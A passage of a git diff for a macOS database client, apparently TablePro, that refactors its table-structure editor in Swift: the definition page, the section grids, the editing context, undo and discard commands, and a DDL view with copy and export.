+            StructureDDLStandIn(isLoading: isLoading)
+        } else {
+            DDLTextView(ddl: ddl, fontSize: $fontSize, databaseType: databaseType)
+        }
+    }
+
+    private func openInEditor() {
+        guard !ddl.isEmpty else { return }
+        coordinator?.tabManager.addTab(initialQuery: ddl, title: String(format: String(localized: "%@ DDL"), tableName))
+    }
+
+    private func copy() {
+        ClipboardService.shared.writeText(ddl)
+    }
+
+    private func export() {
+        let savePanel = NSSavePanel()
+        if let sqlType = UTType(filenameExtension: "sql") {
+            savePanel.allowedContentTypes = [sqlType]
+        }
+        savePanel.nameFieldStringValue = "\(tableName).sql"
+
+        guard let window = coordinator?.contentWindow else { return }
+        let ddl = ddl
+        savePanel.beginSheetModal(for: window) { response in
+            guard response == .OK, let url = savePanel.url else { return }
+            do {
+                try ddl.write(to: url, atomically: true, encoding: .utf8)
+            } catch {
+                Self.logger.error("Failed to export: \(error.publicLogShape, privacy: .public)")
+                AlertHelper.showErrorSheet(
+                    title: String(localized: "Could not export the schema"),
+                    message: error.localizedDescription,
+                    window: window
+                )
+            }
+        }
+    }
+}
+
+// Where the statement would be, on the editor's background.
+struct StructureDDLStandIn: View {
+    var isLoading = false
+
+    var body: some View {
+        Group {
+            if isLoading {
+                ProgressView().controlSize(.small)
+            } else {
+                Text(String(localized: "No DDL Available"))
+                    .foregroundStyle(.secondary)
+            }
+        }
+        .frame(maxWidth: .infinity, maxHeight: .infinity)
+        .valueStandInBackground()
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureDefinitionEditor.swift b/apple/TablePro/Views/Structure/StructureDefinitionEditor.swift
new file mode 100644
index 0000000000..545560b2fc
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureDefinitionEditor.swift
@@ -0,0 +1,360 @@
+//
+//  StructureDefinitionEditor.swift
+//  TablePro
+//
+
+import Combine
+import Foundation
+import TableProPluginKit
+
+// The Definition page's model, shared by the Structure tab and Create Table: one grid per section over one change
+// manager, one filter, and what the inspector shows. A row selected in one section clears the others, so the
+// inspector always names one thing.
+@MainActor
+final class StructureDefinitionEditor: ObservableObject {
+    enum InspectorTarget: Equatable {
+        case table
+        case entity(StructureSection, UUID)
+        case several(StructureSection, Int)
+    }
+
+    let manager: StructureChangeManager
+    let context: StructureEditingContext
+    let referenceMenus: ForeignKeyReferenceMenus
+    private(set) var adapters: [StructureSection: StructureSectionAdapter] = [:]
+
+    @Published var searchText = "" {
+        didSet {
+            guard searchText != oldValue else { return }
+            refresh()
+        }
+    }
+    @Published private(set) var inspectorTarget: InspectorTarget = .table
+    @Published private(set) var collapsedSections: Set<StructureSection>
+    @Published var serverSupport = StructureServerSupport.unrestricted {
+        didSet {
+            guard serverSupport != oldValue else { return }
+            // A section the server withdraws leaves no selection behind for the inspector or the commands.
+            for section in StructureSection.allCases where !offers(section) {
+                adapter(for: section).model.clearSelection()
+            }
+            refresh()
+        }
+    }
+    @Published var isReadOnly = false {
+        didSet {
+            guard isReadOnly != oldValue else { return }
+            refresh()
+        }
+    }
+    // After a save, until the table is read again: an edit made now would stage against what the save replaced.
+    @Published var isAwaitingBaseline = false {
+        didSet {
+            guard isAwaitingBaseline != oldValue else { return }
+            refresh()
+        }
+    }
+    @Published private(set) var revision = 0
+
+    var readOnlyReason: String?
+
+    weak var coordinator: MainContentCoordinator?
+    var moveColumnHandler: ((Int, Int) -> Void)?
+    var characterSetContextProvider: () -> ColumnCharacterSetMenus.Context = {
+        ColumnCharacterSetMenus.Context(catalog: .idle, tableCharacterSet: nil)
+    }
+    var characterSetCatalogReader: () -> Void = {}
+
+    private let defaults: UserDefaults
+    private var cancellables: Set<AnyCancellable> = []
+    private var isSyncingSelection = false
+
+    init(
+        manager: StructureChangeManager,
+        context: StructureEditingContext,
+        defaults: UserDefaults = AppStorageEnvironment.shared.defaults
+    ) {
+        self.manager = manager
+        self.context = context
+        self.defaults = defaults
+        let menus = ForeignKeyReferenceMenus(connectionId: context.connection.id, databaseType: context.databaseType)
+        menus.schemaName = context.schemaName
+        referenceMenus = menus
+        let stored = defaults.stringArray(forKey: Self.collapsedSectionsKey) ?? []
+        collapsedSections = Set(stored.compactMap(StructureSection.init(rawValue:)))
+        for section in StructureSection.allCases {
+            let adapter = StructureSectionAdapter(
+                section: section, manager: manager, context: context, referenceMenus: menus, defaults: defaults
+            )
+            adapters[section] = adapter
+            adapter.editor = self
+            adapter.model.$selectionRevision
+                .dropFirst()
+                .sink { [weak self] _ in self?.selectionDidChange(in: section) }
+                .store(in: &cancellables)
+        }
+        menus.onListsChanged = { [weak self] in self?.revision &+= 1 }
+        manager.$reloadVersion
+            .dropFirst()
+            .receive(on: RunLoop.main)
+            .sink { [weak self] _ in self?.refresh() }
+            .store(in: &cancellables)
+        // A save holds every edit while it runs; the grids close on the hold and open again when it ends.
+        manager.$heldSave
+            .map { $0 != nil }
+            .removeDuplicates()
+            .dropFirst()
+            .receive(on: RunLoop.main)
+            .sink { [weak self] _ in self?.refresh() }
+            .store(in: &cancellables)
+    }
+
+    static let collapsedSectionsKey = "structure.collapsedSections"
+
+    // MARK: - Sections
+
+    var sections: [StructureSection] {
+        StructureSection.allCases.filter(offers)
+    }
+
+    func offers(_ section: StructureSection) -> Bool {
+        switch section {
+        case .columns, .indexes:
+            return true
+        case .foreignKeys:
+            return context.databaseType.supportsForeignKeys
+        case .checkConstraints:
+            guard serverSupport.offers(.checkConstraints) else { return false }
+            guard !context.isCreatingTable else { return context.allows(.addCheckConstraint) }
+            return context.databaseType.supportsCheckConstraints
+        }
+    }
+
+    func adapter(for section: StructureSection) -> StructureSectionAdapter {
+        guard let adapter = adapters[section] else {
+            preconditionFailure("Every section has an adapter")
+        }
+        return adapter
+    }
+
+    func isExpanded(_ section: StructureSection) -> Bool {
+        !collapsedSections.contains(section) || !searchText.isEmpty
+    }
+
+    func setExpanded(_ section: StructureSection, _ isExpanded: Bool) {
+        if isExpanded {
+            collapsedSections.remove(section)
+        } else {
+            collapsedSections.insert(section)
+            adapter(for: section).model.clearSelection()
+        }
+        defaults.set(collapsedSections.map(\.rawValue).sorted(), forKey: Self.collapsedSectionsKey)
+    }
+
+    func count(of section: StructureSection) -> Int {
+        let ids = StructureGridEdits.entityIDs(in: section, manager: manager)
+        return ids.indices.filter { !manager.deleteInsertState(for: $0, tab: section).isDeleted }.count
+    }
+
+    var characterSetContext: ColumnCharacterSetMenus.Context { characterSetContextProvider() }
+
+    func readCharacterSetCatalogIfNeeded() {
+        characterSetCatalogReader()
+    }
+
+    // MARK: - Refresh
+
+    func refresh() {
+        for section in StructureSection.allCases {
+            adapter(for: section).refresh()
+        }
+        settleInspectorTarget()
+        revision &+= 1
+    }
+
+    func definitionsDidChange() {
+        refresh()
+    }
+
+    // One field of one definition changed, which no other section shows: the cheap refresh a keystroke can afford.
+    func definitionsDidChange(in section: StructureSection) {
+        adapter(for: section).refresh()
+        settleInspectorTarget()
+        revision &+= 1
+    }
+
+    // MARK: - Selection
+
+    var focusedSection: StructureSection? {
+        switch inspectorTarget {
+        case .table: nil
+        case .entity(let section, _), .several(let section, _): section
+        }
+    }
+
+    var focusedModel: DataGridModel? {
+        focusedSection.map { adapter(for: $0).model }
+    }
+
+    private func selectionDidChange(in section: StructureSection) {
+        guard !isSyncingSelection else { return }
+        let model = adapter(for: section).model
+        if !model.selection.isEmpty {
+            isSyncingSelection = true
+            for other in StructureSection.allCases where other != section {
+                adapter(for: other).model.clearSelection()
+            }
+            isSyncingSelection = false
+        }
+        settleInspectorTarget()
+    }
+
+    private func settleInspectorTarget() {
+        var target = InspectorTarget.table
+        for section in StructureSection.allCases {
+            let ids = adapter(for: section).selectedEntityIDs
+            guard !ids.isEmpty else { continue }
+            target = ids.count == 1 ? .entity(section, ids[0]) : .several(section, ids.count)
+            break
+        }
+        if target != inspectorTarget {
+            inspectorTarget = target
+        }
+    }
+
+    func clearSelection() {
+        for section in StructureSection.allCases {
+            adapter(for: section).model.clearSelection()
+        }
+    }
+
+    // A filter that hides the definition is cleared first, or the selection would land on nothing.
+    func reveal(section: StructureSection, entity id: UUID) {
+        if collapsedSections.contains(section) {
+            setExpanded(section, true)
+        }
+        let adapter = adapter(for: section)
+        if adapter.model.displayIndex(of: adapter.rowID(forEntity: id)) == nil {
+            if !searchText.isEmpty { searchText = "" }
+            if adapter.store.valueFilter.isActive { adapter.model.setValueFilter(GridValueFilterState()) }
+        }
+        adapter.select(entity: id)
+        // The section may have just expanded, so its grid scrolls the page once it is on screen.
+        let rowID = adapter.rowID(forEntity: id)
+        DispatchQueue.main.async { adapter.model.reveal(rowID: rowID) }
+    }
+
+    // MARK: - Commands
+
+    func add(_ section: StructureSection) {
+        adapter(for: section).addRow()
+    }
+
+    func canAdd(_ section: StructureSection) -> Bool {
+        let adapter = adapter(for: section)
+        return adapter.canEdit && adapter.canAdd
+    }
+
+    func canRemoveSelection(in section: StructureSection) -> Bool {
+        let adapter = adapter(for: section)
+        return adapter.canEdit && adapter.canRemove && !adapter.model.selection.isEmpty
+    }
+
+    func removeSelection(in section: StructureSection) {
+        let adapter = adapter(for: section)
+        let rowIDs = adapter.model.selection.affectedRows.compactMap { adapter.model.rowID(at: $0) }
+        adapter.deleteRows(rowIDs)
+    }
+
+    func refusal(adding section: StructureSection) -> String? {
+        let adapter = adapter(for: section)
+        if let reason = adapter.editRefusal { return reason }
+        return context.refusal(context.addOperation(for: section))
+    }
+
+    // The section the menu bar's row commands act on: the one holding the selection, else Columns.
+    var commandSection: StructureSection { focusedSection ?? .columns }
+
+    func selectedRowIDs(in section: StructureSection) -> [RowID] {
+        let model = adapter(for: section).model
+        return model.selection.affectedRows.compactMap { model.rowID(at: $0) }
+    }
+
+    var canDuplicateSelection: Bool {
+        guard let section = focusedSection else { return false }
+        return canAdd(section) && !selectedRowIDs(in: section).isEmpty
+    }
+
+    func duplicateSelection() {
+        guard canDuplicateSelection, let section = focusedSection else { return }
+        adapter(for: section).duplicateRows(selectedRowIDs(in: section))
+    }
+
+    func copySelection() {
+        guard let section = focusedSection else { return }
+        let rowIDs = selectedRowIDs(in: section)
+        guard !rowIDs.isEmpty else { return }
+        adapter(for: section).copyRows(rowIDs)
+    }
+
+    var canPaste: Bool {
+        canAdd(commandSection) && StructurePasteboard.canPaste
+    }
+
+    func paste() {
+        guard canPaste else { return }
+        adapter(for: commandSection).pasteRows()
+    }
+
+    func moveColumn(from sourceIndex: Int, to destination: Int) {
+        moveColumnHandler?(sourceIndex, destination)
+    }
+
+    // MARK: - Open edits
+
+    // Commits an edit open in a grid cell, and ends a run of typing in the inspector, before a command acts.
+    func commitPendingEdits() {
+        manager.endTypingRun()
+        for section in StructureSection.allCases {
+            adapter(for: section).model.commitEditing()
+        }
+    }
+
+    // MARK: - Inspector
+
+    func entity(_ section: StructureSection, id: UUID) -> Int? {
+        StructureGridEdits.sourceIndex(of: id, in: section, manager: manager)
+    }
+
+    func inspectorForm(for section: StructureSection, id: UUID) -> StructureInspectorForm? {
+        let adapter = adapter(for: section)
+        guard let sourceIndex = entity(section, id: id) else { return nil }
+        return StructureInspectorForm.build(adapter: adapter, sourceIndex: sourceIndex, entityID: id)
+    }
+
+    // A pick, a checkbox or a menu choice: one change, one undo step.
+    func commitInspectorField(section: StructureSection, id: UUID, field: Int, value: String) {
+        manager.endTypingRun()
+        adapter(for: section).applyEdit(entity: id, field: field, text: value)
+    }
+
+    // A keystroke in an inspector field, staged at once and undone with the rest of its run.
+    func typeInspectorField(section: StructureSection, id: UUID, field: Int, value: String) {
+        manager.stageTyping(in: "\(section.rawValue).\(id.uuidString).\(field)", actionName: Self.editActionName(section)) {
+            adapter(for: section).applyEdit(entity: id, field: field, text: value)
+        }
+    }
+
+    func endInspectorTyping() {
+        manager.endTypingRun()
+    }
+
+    private static func editActionName(_ section: StructureSection) -> String {
+        switch section {
+        case .columns: String(localized: "Edit Column")
+        case .indexes: String(localized: "Edit Index")
+        case .foreignKeys: String(localized: "Edit Foreign Key")
+        case .checkConstraints: String(localized: "Edit Check Constraint")
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureDefinitionPage.swift b/apple/TablePro/Views/Structure/StructureDefinitionPage.swift
new file mode 100644
index 0000000000..542df40dd0
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureDefinitionPage.swift
@@ -0,0 +1,242 @@
+//
+//  StructureDefinitionPage.swift
+//  TablePro
+//
+
+import AppKit
+import SwiftUI
+
+// Columns, indexes, foreign keys and check constraints on one scrolling page, each section with its own add and
+// remove beneath it, the way Xcode's model editor stacks an entity's parts. The selected definition's full form is
+// in the inspector.
+struct StructureDefinitionPage: View {
+    @ObservedObject var editor: StructureDefinitionEditor
+    let loadState: StructureLoadState
+    var isLoading = false
+    var notes: [StructureSection: [StructureSectionNote]] = [:]
+    var header: AnyView?
+    var onRetry: (StructureSection) -> Void = { _ in }
+
+    var body: some View {
+        VStack(spacing: 0) {
+            filterBar
+            Divider()
+            if isLoading {
+                ProgressView()
+                    .controlSize(.small)
+                    .frame(maxWidth: .infinity, maxHeight: .infinity)
+                    .gridStandInBackground()
+            } else {
+                ScrollView(.vertical) {
+                    VStack(alignment: .leading, spacing: 0) {
+                        if let header {
+                            header
+                        }
+                        ForEach(editor.sections, id: \.self) { section in
+                            StructureSectionView(
+                                section: section,
+                                editor: editor,
+                                model: editor.adapter(for: section).model,
+                                failure: loadState.failure(StructureLoadState.Item(section)),
+                                hasData: editor.context.isCreatingTable || loadState.hasData(StructureLoadState.Item(section)),
+                                notes: notes[section] ?? [],
+                                onRetry: { onRetry(section) }
+                            )
+                        }
+                    }
+                    .frame(maxWidth: .infinity, alignment: .leading)
+                }
+                .gridStandInBackground()
+            }
+        }
+    }
+
+    private var filterBar: some View {
+        NativeSearchField(
+            text: $editor.searchText,
+            placeholder: String(localized: "Filter"),
+            accessibilityIdentifier: "structure-filter"
+        )
+        .padding(.horizontal, 8)
+        .padding(.vertical, 6)
+    }
+}
+
+struct StructureSectionNote: Equatable, Identifiable {
+    let systemImage: String
+    let text: String
+    let identifier: String
+
+    var id: String { identifier }
+}
+
+struct StructureSectionView: View {
+    let section: StructureSection
+    @ObservedObject var editor: StructureDefinitionEditor
+    @ObservedObject var model: DataGridModel
+    let failure: String?
+    let hasData: Bool
+    let notes: [StructureSectionNote]
+    let onRetry: () -> Void
+
+    private var adapter: StructureSectionAdapter { editor.adapter(for: section) }
+    private var isExpanded: Bool { editor.isExpanded(section) }
+
+    var body: some View {
+        VStack(alignment: .leading, spacing: 0) {
+            sectionHeader
+            if isExpanded {
+                content
+            }
+            Divider()
+        }
+        .accessibilityElement(children: .contain)
+        .accessibilityIdentifier("structure-section-\(section.rawValue)")
+    }
+
+    private var sectionHeader: some View {
+        HStack(spacing: 6) {
+            DisclosureTriangle(
+                isExpanded: Binding(
+                    get: { isExpanded },
+                    set: { editor.setExpanded(section, $0) }
+                ),
+                label: section.displayName
+            )
+            Text(section.displayName)
+                .font(.headline)
+            if hasData {
+                Text(editor.count(of: section), format: .number)
+                    .foregroundStyle(.secondary)
+                    .monospacedDigit()
+            }
+            Spacer(minLength: 0)
+        }
+        .padding(.horizontal, 10)
+        .padding(.top, 10)
+        .padding(.bottom, 6)
+        .contentShape(Rectangle())
+        .onTapGesture { editor.setExpanded(section, !isExpanded) }
+        .accessibilityElement(children: .combine)
+        .accessibilityAddTraits(.isHeader)
+    }
+
+    @ViewBuilder
+    private var content: some View {
+        if let failure, !hasData {
+            failureRow(failure)
+        } else {
+            if let failure {
+                failureRow(failure)
+            }
+            if adapter.visibleRowCount > 0 {
+                DataGridView(model: model)
+            } else {
+                emptyRow
+            }
+            ForEach(notes) { note in
+                Label(note.text, systemImage: note.systemImage)
+                    .font(.callout)
+                    .foregroundStyle(.secondary)
+                    .fixedSize(horizontal: false, vertical: true)
+                    .padding(.horizontal, 10)
+                    .padding(.top, 6)
+                    .accessibilityIdentifier(note.identifier)
+            }
+            footer
+        }
+    }
+
+    private var emptyRow: some View {
+        Text(emptyText)
+            .foregroundStyle(.secondary)
+            .frame(maxWidth: .infinity, alignment: .leading)
+            .padding(.horizontal, 10)
+            .padding(.vertical, 6)
+    }
+
+    private var emptyText: String {
+        guard editor.searchText.isEmpty else { return String(localized: "No Matches") }
+        switch section {
+        case .columns: return String(localized: "No Columns")
+        case .indexes: return String(localized: "No Indexes")
+        case .foreignKeys: return String(localized: "No Foreign Keys")
+        case .checkConstraints: return String(localized: "No Check Constraints")
+        }
+    }
+
+    private func failureRow(_ message: String) -> some View {
+        HStack(alignment: .firstTextBaseline, spacing: 8) {
+            Image(systemName: "exclamationmark.triangle")
+                .foregroundStyle(.secondary)
+                .accessibilityHidden(true)
+            Text(message)
+                .foregroundStyle(.secondary)
+                .fixedSize(horizontal: false, vertical: true)
+                .textSelection(.enabled)
+            Spacer(minLength: 0)
+            Button(String(localized: "Try Again"), action: onRetry)
+                .controlSize(.small)
+        }
+        .padding(.horizontal, 10)
+        .padding(.vertical, 6)
+    }
+
+    private var footer: some View {
+        let labels = StructureFooterPolicy.labels(for: section)
+        let reason = editor.refusal(adding: section)
+        return AddRemoveControlGroup(
+            addLabel: labels.add,
+            removeLabel: labels.remove,
+            canAdd: editor.canAdd(section),
+            canRemove: editor.canRemoveSelection(in: section),
+            addHelp: reason,
+            removeHelp: reason,
+            addIdentifier: "structure-\(section.rawValue)-add",
+            removeIdentifier: "structure-\(section.rawValue)-remove",
+            onAdd: { editor.add(section) },
+            onRemove: { editor.removeSelection(in: section) }
+        )
+        .padding(.horizontal, 10)
+        .padding(.top, 6)
+        .padding(.bottom, 10)
+    }
+}
+
+// The stock disclosure triangle, the control the HIG names for showing and hiding a section's details.
+struct DisclosureTriangle: NSViewRepresentable {
+    @Binding var isExpanded: Bool
+    let label: String
+
+    func makeNSView(context: Context) -> NSButton {
+        let button = NSButton(title: "", target: context.coordinator, action: #selector(Coordinator.toggle(_:)))
+        button.bezelStyle = .disclosure
+        button.setButtonType(.pushOnPushOff)
+        button.imagePosition = .imageOnly
+        button.setContentHuggingPriority(.required, for: .horizontal)
+        return button
+    }
+
+    func updateNSView(_ button: NSButton, context: Context) {
+        context.coordinator.parent = self
+        button.state = isExpanded ? .on : .off
+        button.setAccessibilityLabel(label)
+    }
+
+    func makeCoordinator() -> Coordinator {
+        Coordinator(parent: self)
+    }
+
+    @MainActor
+    final class Coordinator: NSObject {
+        var parent: DisclosureTriangle
+
+        init(parent: DisclosureTriangle) {
+            self.parent = parent
+        }
+
+        @objc func toggle(_ sender: NSButton) {
+            parent.isExpanded = sender.state == .on
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureEditGate.swift b/apple/TablePro/Views/Structure/StructureEditGate.swift
index 21878ef68f..c8ac61e248 100644
--- a/apple/TablePro/Views/Structure/StructureEditGate.swift
+++ b/apple/TablePro/Views/Structure/StructureEditGate.swift
@@ -117,21 +117,18 @@ struct StructureEditGate {
             && TriggerEditEligibility.kindAcceptsTriggers(objectKind)
     }
 
-    func locksField(at index: Int, on tab: StructureTab, orderedFields: [StructureColumnField]) -> Bool {
+    func locksField(at index: Int, on tab: StructureSection, orderedFields: [StructureColumnField]) -> Bool {
         switch tab {
         case .columns:
             guard orderedFields.indices.contains(index) else { return false }
             return !editableColumnFields.contains(orderedFields[index])
         case .indexes, .foreignKeys, .checkConstraints:
-            guard let adding = StructureFooterPolicy.operation(forAdding: tab) else { return false }
-            return !allows(adding)
-        case .options, .ddl, .parts, .triggers:
-            return false
+            return !allows(StructureFooterPolicy.operation(forAdding: tab))
         }
     }
 
     func lockedFieldIndices(
-        on tab: StructureTab,
+        on tab: StructureSection,
         orderedFields: [StructureColumnField],
         fieldCount: Int
     ) -> Set<Int> {
diff --git a/apple/TablePro/Views/Structure/StructureEditingContext.swift b/apple/TablePro/Views/Structure/StructureEditingContext.swift
new file mode 100644
index 0000000000..34aa6bf230
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureEditingContext.swift
@@ -0,0 +1,97 @@
+//
+//  StructureEditingContext.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+// The table a structure editor works on: an existing one, or the one Create Table is drafting.
+@MainActor
+struct StructureEditingContext {
+    let connection: DatabaseConnection
+    let databaseName: String
+    let schemaName: String?
+    let tableName: String
+    let objectKind: TableInfo.TableType
+    let isSessionBound: Bool
+    let isCreatingTable: Bool
+
+    static func existingTable(
+        connection: DatabaseConnection,
+        databaseName: String,
+        schemaName: String?,
+        tableName: String,
+        objectKind: TableInfo.TableType,
+        isSessionBound: Bool
+    ) -> StructureEditingContext {
+        StructureEditingContext(
+            connection: connection,
+            databaseName: databaseName,
+            schemaName: schemaName,
+            tableName: tableName,
+            objectKind: objectKind,
+            isSessionBound: isSessionBound,
+            isCreatingTable: false
+        )
+    }
+
+    static func newTable(connection: DatabaseConnection, databaseName: String, schemaName: String?) -> StructureEditingContext {
+        StructureEditingContext(
+            connection: connection,
+            databaseName: databaseName,
+            schemaName: schemaName,
+            tableName: "",
+            objectKind: .table,
+            isSessionBound: false,
+            isCreatingTable: true
+        )
+    }
+
+    var databaseType: DatabaseType { connection.type }
+
+    var scope: DatabaseScope {
+        DatabaseScope(connectionId: connection.id, database: databaseName, schema: schemaName, isSessionBound: isSessionBound)
+    }
+
+    var editGate: StructureEditGate {
+        StructureEditGate(databaseType: connection.type, objectKind: objectKind, schema: schemaName, isSessionBound: isSessionBound)
+    }
+
+    // A drafted table is created in one run, so every definition it can hold is open; an existing one asks the gate.
+    // Its checks are added after the CREATE, so they need an engine that adds one to an existing table.
+    func allows(_ operation: StructureEditOperation) -> Bool {
+        guard isCreatingTable else { return editGate.allows(operation) }
+        switch operation {
+        case .addForeignKey, .dropForeignKey:
+            return connection.type.supportsForeignKeys
+        case .addCheckConstraint, .dropCheckConstraint:
+            return connection.type.supportsCheckConstraintEditing
+        default:
+            return true
+        }
+    }
+
+    func refusal(_ operation: StructureEditOperation) -> String? {
+        guard !isCreatingTable else { return nil }
+        return editGate.resolve(operation).unavailableReason
+    }
+
+    func addOperation(for section: StructureSection) -> StructureEditOperation {
+        switch section {
+        case .columns: .addColumn
+        case .indexes: .addIndex
+        case .foreignKeys: .addForeignKey
+        case .checkConstraints: .addCheckConstraint
+        }
+    }
+
+    func removeOperation(for section: StructureSection) -> StructureEditOperation {
+        switch section {
+        case .columns: .dropColumn
+        case .indexes: .dropIndex
+        case .foreignKeys: .dropForeignKey
+        case .checkConstraints: .dropCheckConstraint
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
index 441fe58031..c2f9c83325 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
@@ -88,6 +88,7 @@ internal extension StructureEditingSession {
     /// mounted structure view ever fills. Answering Save from anywhere else ran nothing, reported
     /// success, and closed the tab over the work.
     func applyStagedChanges(coordinator: MainContentCoordinator?) async -> StructureSaveOutcome {
+        editor.commitPendingEdits()
         /// Asked before Safe Mode, so a tab with nothing staged is never refused. `.refused` stands
         /// the close down, and refusing a save that had no work to do would leave the user unable to
         /// close the tab through Save at all.
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
deleted file mode 100644
index 746544fc03..0000000000
--- a/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
+++ /dev/null
@@ -1,44 +0,0 @@
-//
-//  StructureEditingSession+Baseline.swift
-//  TablePro
-//
-
-import Foundation
-import TableProPluginKit
-
-internal extension StructureEditingSession {
-    // PostgreSQL leaves `isPrimaryKey` false on every column, so the primary index decides first.
-    func adoptLoadedBaseline() {
-        serverSupport = StructureServerSupport.forConnection(connection.id)
-        let pkFromIndexes = indexes.first(where: { $0.isPrimary })?.columns ?? []
-        let pkFromColumns = columns.filter { $0.isPrimaryKey }.map { $0.name }
-        let primaryKey = pkFromIndexes.isEmpty ? pkFromColumns : pkFromIndexes
-
-        changeManager.loadSchema(
-            tableName: tableName,
-            columns: columns,
-            indexes: indexes,
-            foreignKeys: foreignKeys,
-            checkConstraints: checkConstraints,
-            primaryKey: primaryKey,
-            tableComment: loadedTableComment,
-            tableOptions: loadedTableOptions,
-            autoIncrementConfirmed: autoIncrementRead == .confirmed
-        )
-    }
-
-    // Reads what the Structure tab's first mount reads, so an edit staged without the tab composes
-    // the statements the tab would.
-    func loadEditingBaseline(provider: any ScopedMetadataProviding = DatabaseManager.shared) async throws {
-        let loader = TableStructureLoader(scope: scope, tableName: tableName, provider: provider)
-        serverSupport = StructureServerSupport.forConnection(connection.id)
-        columns = try await loader.columns()
-        indexes = try await loader.indexes()
-        foreignKeys = try await loader.foreignKeys()
-        if availableTabs.contains(.checkConstraints) {
-            checkConstraints = try await loader.checkConstraints()
-        }
-        adoptLoadedBaseline()
-        hasLoaded = true
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+ColumnReorder.swift b/apple/TablePro/Views/Structure/StructureEditingSession+ColumnReorder.swift
similarity index 93%
rename from apple/TablePro/Views/Structure/TableStructureView+ColumnReorder.swift
rename to apple/TablePro/Views/Structure/StructureEditingSession+ColumnReorder.swift
index 8ae123566d..30c1ff93cc 100644
--- a/apple/TablePro/Views/Structure/TableStructureView+ColumnReorder.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+ColumnReorder.swift
@@ -1,17 +1,16 @@
 //
-//  TableStructureView+ColumnReorder.swift
+//  StructureEditingSession+ColumnReorder.swift
 //  TablePro
 //
 
-import Combine
 import Foundation
-import SwiftUI
 import TableProPluginKit
 import TableProSQLGrammar
 
-extension TableStructureView {
+// Applies now, not staged: a reorder is offered only while nothing else is staged.
+internal extension StructureEditingSession {
     func beginColumnReorder(fromIndex: Int, toIndex: Int) {
-        let columnsSnapshot = structureChangeManager.workingColumns
+        let columnsSnapshot = changeManager.workingColumns
         let clearTarget = coordinator?.selectedColumnLayoutClearTarget()
         let reorderScope = scope
 
@@ -59,7 +58,7 @@ extension TableStructureView {
             action: TableRebuildReviewRequest.Action(
                 title: String(localized: "Rebuild Table"),
                 operationDescription: StructureColumnReorderHandler.operationDescription
-            ) {
+            ) { [self] in
                 do {
                     try await StructureColumnReorderHandler.execute(
                         prepared, tableName: tableName, databaseType: connection.type, isConfirmationPreCleared: true
@@ -88,7 +87,7 @@ extension TableStructureView {
         _ prepared: StructureColumnReorderHandler.PreparedReorder,
         clearTarget: ColumnLayoutClearTarget?
     ) async {
-        await services.queryHistoryManager.record(
+        await QueryHistoryManager.shared.record(
             QueryHistoryRecordRequest(
                 query: prepared.plan.scriptStatements
                     .map { $0.hasSuffix(";") ? $0 : $0 + ";" }
@@ -103,7 +102,7 @@ extension TableStructureView {
             )
         )
         isReloadingAfterSave = true
-        await loadColumns()
+        await fetch(.columns)
         adoptFetchedBaseline()
         isReloadingAfterSave = false
         if let clearTarget {
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Commands.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Commands.swift
new file mode 100644
index 0000000000..66f98a8b10
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+Commands.swift
@@ -0,0 +1,132 @@
+//
+//  StructureEditingSession+Commands.swift
+//  TablePro
+//
+
+import AppKit
+import Foundation
+
+// What the menu bar, the toolbar and the keyboard ask of a structure tab. The coordinator calls these on the
+// selected tab's session, so they work whether or not a view is mounted.
+internal extension StructureEditingSession {
+    var hasChanges: Bool { changeManager.hasChanges }
+
+    var pendingChangeCount: Int { changeManager.getChangesArray().count }
+
+    // MARK: - Undo
+
+    var canUndo: Bool { changeManager.canUndo }
+    var canRedo: Bool { changeManager.canRedo }
+    var undoMenuItemTitle: String { changeManager.undoMenuItemTitle }
+    var redoMenuItemTitle: String { changeManager.redoMenuItemTitle }
+
+    func undo() {
+        guard canUndo else { return }
+        commitOpenEdits()
+        changeManager.undo()
+        editor.refresh()
+    }
+
+    func redo() {
+        guard canRedo else { return }
+        commitOpenEdits()
+        changeManager.redo()
+        editor.refresh()
+    }
+
+    private func commitOpenEdits() {
+        editor.commitPendingEdits()
+    }
+
+    // MARK: - Rows
+
+    private var takesRowCommands: Bool { pane == .definition && hasBaseline }
+
+    var canAddRow: Bool { takesRowCommands && editor.canAdd(editor.commandSection) }
+    var canRemoveRows: Bool { takesRowCommands && editor.canRemoveSelection(in: editor.commandSection) }
+    var canPasteRows: Bool { takesRowCommands && editor.canPaste }
+
+    func addRow() {
+        guard canAddRow else { return }
+        editor.add(editor.commandSection)
+    }
+
+    func removeSelectedRows() {
+        guard canRemoveRows else { return }
+        editor.removeSelection(in: editor.commandSection)
+    }
+
+    func duplicateSelectedRows() {
+        guard takesRowCommands else { return }
+        editor.duplicateSelection()
+    }
+
+    func copySelectedRows() {
+        guard pane == .definition else { return }
+        editor.copySelection()
+    }
+
+    func pasteRows() {
+        guard canPasteRows else { return }
+        editor.paste()
+    }
+
+    // MARK: - Discard
+
+    func discardChanges() {
+        for section in StructureSection.allCases {
+            editor.adapter(for: section).model.discardEditing()
+        }
+        changeManager.discardChanges()
+        editor.refresh()
+        if settleOwedRefetch() {
+            Task { await load() }
+        }
+    }
+
+    func discardChangesAfterConfirming() {
+        guard hasChanges else { return }
+        let count = pendingChangeCount
+        Task {
+            let message = count == 1
+                ? String(localized: "The change to this table's structure will be lost.")
+                : String(format: String(localized: "%d changes to this table's structure will be lost."), count)
+            guard await confirmDiscard(message: message) else { return }
+            discardChanges()
+        }
+    }
+
+    func confirmDiscard(message: String) async -> Bool {
+        await AlertHelper.confirmDestructive(
